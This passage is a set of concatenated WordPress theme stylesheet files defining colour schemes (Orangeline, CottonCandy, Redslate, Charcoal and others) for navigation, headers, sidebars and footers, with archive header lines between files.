}
#footer-widgets .widget {
    background: #e5dad1;
    border: 5px solid #366A1A;
}
#footer-widgets .widgettitle {
    background: #366A1A;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
	border-top: 1px solid #33790E;
	background: #234D0D;
}
/* LOL to Top */
.scrollToTop {
    background: #8b1616;
	border: 3px solid #c11818;
}
.scrollToTop:hover {
    background: #366A1A;
	border: 3px solid #54AC24;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #8b1616;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #da1010;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #5c0101;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #3e0000;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #8b1616;
	}
}pmgizmo/css/styles/orangeline.css000064400000012516152223213640013203 0ustar00/*
Predefined Colors
Theme: Orangeline
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #925500;
}
/* Body */
body {
    background-color: #a39a8b;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #171717;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #de8100;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #000;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #de8100;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #383838;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #de8100;
}
/* Search */
.search-form-top {
    background-color: #171717;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #de8100;
}
/* Main Navigation */
#navi-wrap {
	background: #de8100;
	border-top: none;
	border-bottom: 4px solid #c75f1b;
}
.stickynav,
.natty #navi-wrap {
	background: #de8100;
	border-top: 3px solid #c75f1b;
	border-bottom: 3px solid #c75f1b;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #de005d;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #7f3901;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #0253c4;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #363636;
    background: #676666 -webkit-gradient(linear, left top, left bottom, from(#363636), to(#676666)) no-repeat;
    background: #676666 -moz-linear-gradient(top, #363636, #676666) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#363636, endColorstr=#676666) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#363636, endColorstr=#676666)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #a2a2a2;
}
.natty #header-wrap {
	border-top: 1px solid #494949;
}
.header-line {
	border-top: 15px solid #1a1716;
	border-bottom: 1px solid #504641;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
	background: #de8100;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #7c766b;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #333;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #333;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #292520;
	border-top: 5px solid #7c766b;
}
#footer-widgets .widget {
    background: #e5dad1;
    border: 5px solid #7c766b;
}
#footer-widgets .widgettitle {
    background: #de8100;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #4d4740;
	background: #171717;
}
/* LOL to Top */
.scrollToTop {
    background: #292520;
}
.scrollToTop:hover {
    background: #925500;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #de8100;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #db6302;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #7f3901;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #171717;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #623900;
	}
}pmgizmo/css/styles/cottoncandy.css000064400000012752152223213640013407 0ustar00/*
Predefined Colors
Theme: CottonCandy
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #b61141;
}
/* Body */
body {
    background-color: #e4cfc1;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #cb1e50;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #3b0112;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #d42557;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #3b0112;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #510000;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #3b0112;
}
/* Search */
.search-form-top {
    background-color: #cb1e50;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #3b0112;
}
/* Main Navigation */
#navi-wrap {
	background: #3b0112;
	border-top: none;
	border-bottom: 4px solid #93173c;
}
.natty #navi-wrap {
	background: #3b0112;
	border-top: 3px solid #93173c;
	border-bottom: 3px solid #93173c;
}
.stickynav {
	background: #3b0112;
	border-top: 1px solid #150006;
	border-bottom: 1px solid #150006;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #7d001b;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #500011;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #7d001b;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #ae1c47;
    background: #fb98b5 -webkit-gradient(linear, left top, left bottom, from(#ae1c47), to(#fb98b5)) no-repeat;
    background: #fb98b5 -moz-linear-gradient(top, #ae1c47, #fb98b5) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#ae1c47, endColorstr=#fb98b5) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#ae1c47, endColorstr=#fb98b5)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #f24578;
}
.header-line {
	border-top: 15px solid #5f2033;
	border-bottom: 1px solid #dd527b;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
	background: #3b0112;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #cdb2ba;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* WC */
.woocommerce ul.products li.product .button {
	background: #CB1E50;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #cb1e50;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
#commentform #submit {
	background: #cb1e50;
}
.search-form .search-submit{
	background: #ee3f72;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #b61141;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #500011;
	border-top: 5px solid #ad2845;
}
#footer-widgets .widget {
    background: #e5dad1;
    border: 5px solid #968579;
}
#footer-widgets .widgettitle {
    background: #b7083b;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #770e24;
	background: #3a000d;
}
/* LOL to Top */
.scrollToTop {
    background: #8c0421;
}
.scrollToTop:hover {
    background: #b61141;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #3b0112;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #7d001b;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #500011;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #cb1e50;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #3B0112;
	}
}pmgizmo/css/styles/redslate.css000064400000012777152223213640012674 0ustar00/*
Predefined Colors
Theme: Redslate
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #b01616;
}
/* Body */
body {
    background-color: #d8d1d1;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #0e0e10;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #b01616;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #202020;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #b01616;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #6c0e0e;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #0e0e10;
}
/* Search */
.search-form-top {
    background-color: #8E0F0F;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #b01616;
}
/* Main Navigation */
#navi-wrap {
	background: #b01616;
	border-top: none;
	border-bottom: 4px solid #6d0708;
}
.stickynav,
.natty #navi-wrap {
	background: #b01616;
	border-top: 2px solid #c53838;
	border-bottom: 2px solid #c53838;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #7e0909;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #831010;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #0e0e10;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
#header #navi-wrap .nav-menu li a:hover,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
	background-color: #7e0909;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #29282e;
    background: #837fa2 -webkit-gradient(linear, left top, left bottom, from(#29282e), to(#837fa2)) no-repeat;
    background: #837fa2 -moz-linear-gradient(top, #29282e, #837fa2) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#29282e, endColorstr=#837fa2) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#29282e, endColorstr=#837fa2)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #414047;
}
.header-line {
	border-top: 15px solid #0e0e10;
	border-bottom: 1px solid #44424d;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before {
	background: #b01616;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #b2b2b9;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #b01616;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #b01616;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #370101;
	border-top: 5px solid #ad2845;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #ad2845;
}
#footer-widgets .widgettitle {
    background: #b01616;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #5d1818;
	background: #260505;
}
/* LOL to Top */
.scrollToTop {
    background: #370101;
}
.scrollToTop:hover {
    background: #b01616;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #b01616;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #7e0909;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #b13f3f;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #0e0e10;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #b01616;
	}
}pmgizmo/css/styles/charcoal.css000064400000014125152223213640012632 0ustar00/*
Predefined Colors
Theme:Charcoal
*/
/* Links */
a:hover, a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
    color: #3B5998;
}
.entry p a:link,
.entry p a:visited {
    color: #3B5998;
    text-decoration: none;
}
.entry p a:hover {
    color: #3B5998;
    text-decoration: underline;
}
.post-title a:link,
.post-title a:visited {
    color: #444;
}
.post-title a:hover {
    color: #3B5998;
}
.page-title,
.post-title {
    color: #3c3c3c;
}
/* Body */
body {
    background-color: #FFF0DE;
}
#wrapper,
.wide-header #wrap {
    -webkit-box-shadow: 0 5px 10px 2px rgba(2, 2, 2, 0.5);
    box-shadow: 0 5px 10px 2px rgba(158, 158, 158, 0.5);
}
/* Header */
#header-wrap,
.natty #header-wrap {
    background: #363D3F;
    background: #748286 -webkit-gradient(linear, left top, left bottom, from(#363D3F), to(#748286)) no-repeat;
    background: #748286 -moz-linear-gradient(top, #363D3F, #748286) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#363D3F, endColorstr=#748286) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#363D3F, endColorstr=#748286)" no-repeat;
}
.natty #header-wrap {
    border-top: 1px solid #4D4D4D;
}
.header-line {
    border-top: 15px solid #121212;
    border-bottom: 1px solid #505050;
}
.natty .header-line {
    border-top: none;
    border-bottom: 1px solid #5b5b5b;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
    background: #B23600;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
    color: #f9f9f9;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
    background: #30393B;
}
#topnav-menu {
    margin-left: 0;
}
#topnav-menu a:hover,
#topnav-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
    background: #3B5998;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
    background: #2E3233;
}
#topnav-menu .current_page_item:hover,
#topnav-menu .current-menu-item:hover,
.natty #topnav-menu .current_page_item:hover,
.natty #topnav-menu .current-menu-item:hover {
    color: #fff;
    background: #3B5998;
}
#topnav-menu .children,
#topnav-menu .sub-menu {
    background-color: #225A67;
}
/* Search */
.search-form-top {
    background-color: #2E3233;
}
/* Main Navigation */
#navi-wrap {
    background: #2E3233;
    border-top: none;
    border-bottom: 2px solid #515353;
}
.stickynav,
.natty #navi-wrap {
    background: #2E3233;
    border-top: 2px solid #515353;
    border-bottom: 2px solid #515353;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
    background-color: #0066cc;
    color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
    background-color: #225A67;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
    background-color: #004c97;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
    color: #f9f9f9;
}
/* Content */
.wide-header #content-wrap {
    border: 1px solid #acb3b4;
    margin:0.6em auto 0.95em;
    box-shadow: none;
}
/* Sidebar */
#frontpage-magazine-widgets .widget .widgettitle,
#footer-widgets .widgettitle,
#sidebar .widgettitle,
.widget-tabnavi {
    background: #2E3233;
}
.widgettitle {
    font-size: 0.95em;
    padding: 0.65em;
    text-transform: uppercase;
}
#sidebar .widget {
    border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
    border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
    padding: 2px;
    max-width: 55px;
    border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
    background: #2E3233;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
    background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
    background: #363D3F;
    background: -webkit-linear-gradient(#363D3F, #748286);
    background: -o-linear-gradient(#363D3F, #748286);
    background: -moz-linear-gradient(#363D3F, #748286);
    background: linear-gradient(#363D3F, #748286);
    border-top: 0.5em solid rgba(0, 0, 0, 0.35);
}
#footer-widgets .widget {
    background: #225A67;
    border: 0.5em solid rgba(0, 0, 0, 0.35);
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(255, 255, 255, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #f9f9f9;
}
/* Footer */
#footer {
    border-top: 1px solid #515353;
    background: #2E3233;
}
/* LOL to Top */
.scrollToTop {
    background: #3d3d3d;
}
.scrollToTop:hover {
    background: #3B5998;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
    #header .menu-toggle {
        color: #f9f9f9;
    }
    #header #navi-wrap {
        border: none;
    }
    .toggled-on .nav-menu > li a:hover,
    .toggled-on .nav-menu > ul a:hover {
        background-color: #1273ac;
        color: #fff;
    }
    .toggled-on .nav-menu .sub-menu,
    .toggled-on .nav-menu .children {
        background-color: #314d02;
    }
    #topnav-menu .current_page_item,
    #topnav-menu .current-menu-item {
        background: #444;
    }
    .wide-header #content-wrap {
        border: 0;
        margin:0 auto;
    }
    #sidebar {
        clear: both;
        margin: 1em 0 0;
        padding:1em;
        width: 100%;
    }
}
@media only screen and (max-width: 50em) {
    #topnav-menu {
        background: #2E3233;
    }
}pmgizmo/css/styles/blueairforce.css000064400000011045152223213640013516 0ustar00/*
Predefined Colors
Theme: Blue Air Force
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #1079c9;
	text-decoration: underline;
}
/* Body */
body {
    background-color: #a0c3da;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #346382;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #537f9d;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #537f9d;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: #a01203;
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #001228;
	border: 2px solid #303030;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #a01203;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #303030;
}
/* Search */
.search-form-top {
    background-color: #01162f;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #5D8AA8;
}
/* Main Navigation */
#navi-wrap {
	background: #537f9d;
	border-bottom: 4px solid #d1e6f4;
}
.natty #navi-wrap {
	background: #537f9d;
	border-top: 3px solid #d1e6f4;
	border-bottom: 3px solid #d1e6f4;
}
.stickynav {
	background: #537f9d;
	border-top: 2px solid #426f8d;
	border-bottom: 2px solid #426f8d;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #346382;/* For WebKit (Safari, Chrome, etc) */
    background: #8bb9d8 -webkit-gradient(linear, left top, left bottom, from(#346382), to(#8bb9d8)) no-repeat;/* Mozilla,Firefox/Gecko */
    background: #8bb9d8 -moz-linear-gradient(top, #346382, #8bb9d8) no-repeat;/* IE 5.5 - 7 */
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#346382, endColorstr=#8bb9d8) no-repeat;/* IE 8 */
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#346382, endColorstr=#346382)" no-repeat;
}
.header-line {
	border-top: 15px solid #254d67;
	border-bottom: 1px solid #47799a;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #a01203;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #f7f7f7;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #5998c8;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #537f9d;
	border: 1px solid #335872;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #346382;
	border-top: 5px solid #91B6CE;
}
#footer-widgets .widget {
    background: #D1E6F4;
    border: 5px solid #91B6CE;
}
#footer-widgets .widgettitle {
    background: #103a57;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #37759f;
	background-color: #103a57;
}
/* LOL to Top */
.scrollToTop {
    background: #275d80;
    border: 4px solid #16527a;
}
.scrollToTop:hover {
    background: #1079c9;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #7e0909;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #021935;
}
#header-banner .widget {
	padding: 0;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #537f9d;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/purplegreen.css000064400000010615152223213640013406 0ustar00/*
Predefined Colors
Theme: Purple N Green
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #1079c9;
}
/* Body */
body {
    background-color: #D8D7CC;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #4e2f28;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #442821;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #442821;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: rgba(255,255,255,0.15);
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
	border: 2px solid #5584f7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #4e2f28;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #39552f;
}
/* Main Navigation */
#navi-wrap {
	background: #39552f;
	border-bottom: 4px solid #eeecb9;
}
.natty #navi-wrap {
	background: #39552f;
	border-top: 1px solid #eeecb9;
	border-bottom: 1px solid #eeecb9;
}
